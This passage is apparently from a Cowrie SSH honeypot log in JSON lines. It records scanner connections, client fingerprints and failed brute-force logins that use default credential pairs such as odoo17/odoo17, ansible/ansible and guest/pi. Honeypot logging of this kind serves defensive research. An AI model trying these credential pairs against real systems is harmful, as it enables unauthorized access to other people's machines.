{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:32:2f:8d:40:dc:7b:03:2e:56:66:6f:e7:93:8f:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoglYscCMEc2JLHBezUzV+r+Ry8QRSNuXfOkKLTo4CwPS/16Zfiuch67BBY1Gg/iaVHsHmzwuZbiS7CagFl2hrPe8Sj1yIdQpda2USO5+Cq5LR6h5GBNUvUXS1iK54StdIyeLocsEnRIEnzaaTadrENZJe2klIJWPApyFy1Q3nK9qJwlUh/bUYWyC+lTFZGvqmKNRPLDJMbauM99f9BTWXcQksL6gFuIUBBZLe245ztVPgfpJvQ+3RgIrQineiqJ+zN407SPZM58Ivl/9WcfPLRgvYFuo9hN14necwOhTtZLrdU4BWjGZO6wkxWC9pk2Oqd7qMyiplDqI/rPSucV9B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:32:2f:8d:40:dc:7b:03:2e:56:66:6f:e7:93:8f:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.261164Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:32:2f:8d:40:dc:7b:03:2e:56:66:6f:e7:93:8f:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoglYscCMEc2JLHBezUzV+r+Ry8QRSNuXfOkKLTo4CwPS/16Zfiuch67BBY1Gg/iaVHsHmzwuZbiS7CagFl2hrPe8Sj1yIdQpda2USO5+Cq5LR6h5GBNUvUXS1iK54StdIyeLocsEnRIEnzaaTadrENZJe2klIJWPApyFy1Q3nK9qJwlUh/bUYWyC+lTFZGvqmKNRPLDJMbauM99f9BTWXcQksL6gFuIUBBZLe245ztVPgfpJvQ+3RgIrQineiqJ+zN407SPZM58Ivl/9WcfPLRgvYFuo9hN14necwOhTtZLrdU4BWjGZO6wkxWC9pk2Oqd7qMyiplDqI/rPSucV9B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.266115Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:18.303022Z","src_ip":"192.3.206.66","session":"06b5402ffdde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36524,"dst_ip":"10.17.0.5","dst_port":22,"session":"09409ba0780c","protocol":"ssh","message":"New connection: 91.92.42.227:36524 (10.17.0.5:22) [session: 09409ba0780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:19.084088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:19.170059Z","src_ip":"91.92.42.227","session":"09409ba0780c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:19.172972Z","src_ip":"91.92.42.227","session":"09409ba0780c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:20.087330Z","src_ip":"91.92.42.227","session":"09409ba0780c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33058,"dst_ip":"10.17.0.5","dst_port":22,"session":"0afc9c2d7f32","protocol":"ssh","message":"New connection: 45.156.87.147:33058 (10.17.0.5:22) [session: 0afc9c2d7f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:20.368568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:20.376554Z","src_ip":"45.156.87.147","session":"0afc9c2d7f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:20.458267Z","src_ip":"45.156.87.147","session":"0afc9c2d7f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:20.706663Z","src_ip":"45.156.87.147","session":"0afc9c2d7f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:21.454912Z","src_ip":"91.92.42.227","session":"09409ba0780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:21.861867Z","src_ip":"45.156.87.147","session":"0afc9c2d7f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36996,"dst_ip":"10.17.0.5","dst_port":22,"session":"afb0a648c491","protocol":"ssh","message":"New connection: 91.92.42.227:36996 (10.17.0.5:22) [session: afb0a648c491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:25.303596Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33074,"dst_ip":"10.17.0.5","dst_port":22,"session":"377e842c1cb7","protocol":"ssh","message":"New connection: 45.156.87.147:33074 (10.17.0.5:22) [session: 377e842c1cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:25.499081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:25.503141Z","src_ip":"45.156.87.147","session":"377e842c1cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:25.583738Z","src_ip":"45.156.87.147","session":"377e842c1cb7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:25.593558Z","src_ip":"91.92.42.227","session":"afb0a648c491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:25.596434Z","src_ip":"91.92.42.227","session":"afb0a648c491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"abc123","message":"login attempt [bot/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:25.846823Z","src_ip":"45.156.87.147","session":"377e842c1cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":57748,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1864b0aad0a","protocol":"ssh","message":"New connection: 109.237.96.109:57748 (159.203.135.109:22) [session: f1864b0aad0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:26.458379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:26.462761Z","src_ip":"109.237.96.109","session":"f1864b0aad0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:26.555516Z","src_ip":"109.237.96.109","session":"f1864b0aad0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7f4df451","message":"login attempt [root/7f4df451] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:26.824351Z","src_ip":"109.237.96.109","session":"f1864b0aad0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:26.929861Z","src_ip":"45.156.87.147","session":"377e842c1cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":45954,"dst_ip":"10.17.0.5","dst_port":22,"session":"0305d46a81cc","protocol":"ssh","message":"New connection: 8.219.200.1:45954 (10.17.0.5:22) [session: 0305d46a81cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:27.379275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:27.386168Z","src_ip":"8.219.200.1","session":"0305d46a81cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:27.622828Z","src_ip":"8.219.200.1","session":"0305d46a81cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pi","message":"login attempt [guest/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:27.725320Z","src_ip":"91.92.42.227","session":"afb0a648c491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:27.915694Z","src_ip":"109.237.96.109","session":"f1864b0aad0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:28.335545Z","src_ip":"8.219.200.1","session":"0305d46a81cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:29.276074Z","src_ip":"91.92.42.227","session":"afb0a648c491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":79.37946128845215,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:29.575860Z","src_ip":"94.23.66.112","session":"8fd8e2f10d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:29.579170Z","src_ip":"8.219.200.1","session":"0305d46a81cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34452,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ed9a06e524c","protocol":"ssh","message":"New connection: 45.156.87.147:34452 (10.17.0.5:22) [session: 4ed9a06e524c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:30.476609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:30.484067Z","src_ip":"45.156.87.147","session":"4ed9a06e524c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:30.566764Z","src_ip":"45.156.87.147","session":"4ed9a06e524c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:30.899264Z","src_ip":"45.156.87.147","session":"4ed9a06e524c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:31.986252Z","src_ip":"45.156.87.147","session":"4ed9a06e524c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37072,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0092ead6e7d","protocol":"ssh","message":"New connection: 91.92.42.227:37072 (10.17.0.5:22) [session: b0092ead6e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:32.336827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:32.750956Z","src_ip":"91.92.42.227","session":"b0092ead6e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-c